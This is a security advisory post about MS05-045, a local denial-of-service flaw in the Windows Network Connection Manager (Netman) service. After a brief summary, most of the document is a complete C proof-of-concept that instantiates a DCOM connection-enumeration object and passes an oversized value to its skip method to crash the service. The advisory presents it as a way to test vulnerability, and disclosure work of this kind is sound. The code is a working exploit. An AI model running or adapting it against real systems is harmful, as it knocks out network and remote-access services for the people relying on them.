[EXPL] Microsoft Windows Network Connection Manager Local DoS (Exploit, MS05-045)

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Microsoft Windows Network Connection Manager Local DoS (Exploit, MS05-045)
------------------------------------------------------------------------

SUMMARY

A denial of service vulnerability exists that could allow an attacker to
send a specially crafted network packet to an affected Windows system. An
attacker who successfully exploited this vulnerability could cause the
component responsible for managing network and remote access connections
to stop responding. If the affected component is stopped due to an attack,
it will automatically restart when new requests are received. Read more
about this vulnerability
<http://www.securiteam.com/windowsntfocus/6N00J0KEAG.html> here.

The following proof of concept can be used to verify whether your systems
are vulnerable or not to the Microsoft Windows network connection manager
denial of service or not.

DETAILS

Exploit:
/* Windows Netman Service Local DOS Vulnerability
*
* By bkbll bkbll#cnhonker.net 2005-7-14 2:49
*
* TESTED ON win2k sp4
*
* EventSystem,Irmon,RasMan,NtmsSvc,SENS
*
*/
#define _WIN32_DCOM

#include <stdio.h>
#include <stdlib.h>
#include <objbase.h>
#include <unknwn.h>
#include <windows.h>

#pragma comment(lib,"ole32")

MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
VCConnectionManagerEnumConnection //: public IDispatch
{
public:
virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
};
CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,
{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,
{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

//
main(int argc,char **argv)
{
VCConnectionManagerEnumConnection *clientcall;
HRESULT hr;

printf("Windows Netman Service Local DOS Vulnerability..\n\n");
//
CoInitializeEx(NULL,COINIT_MULTITHREADED);

printf("DCOM Client Trying started\n");
hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,
CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
if (hr != S_OK)
{
printf("CoCreateInstanceEx failed:%d\n",GetLastError());
return -1;
}
printf("Exploit netman service ....\n");
hr = clientcall->skip(0x80000001);//(void**)&p);
if(SUCCEEDED(hr))
{
printf("Call client proc Success.\n");
}
else
printf("Call client proc failed:%d\n",GetLastError());
hr = clientcall->Release();
CoUninitialize();
printf("Client exited.\n");
return 1;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.

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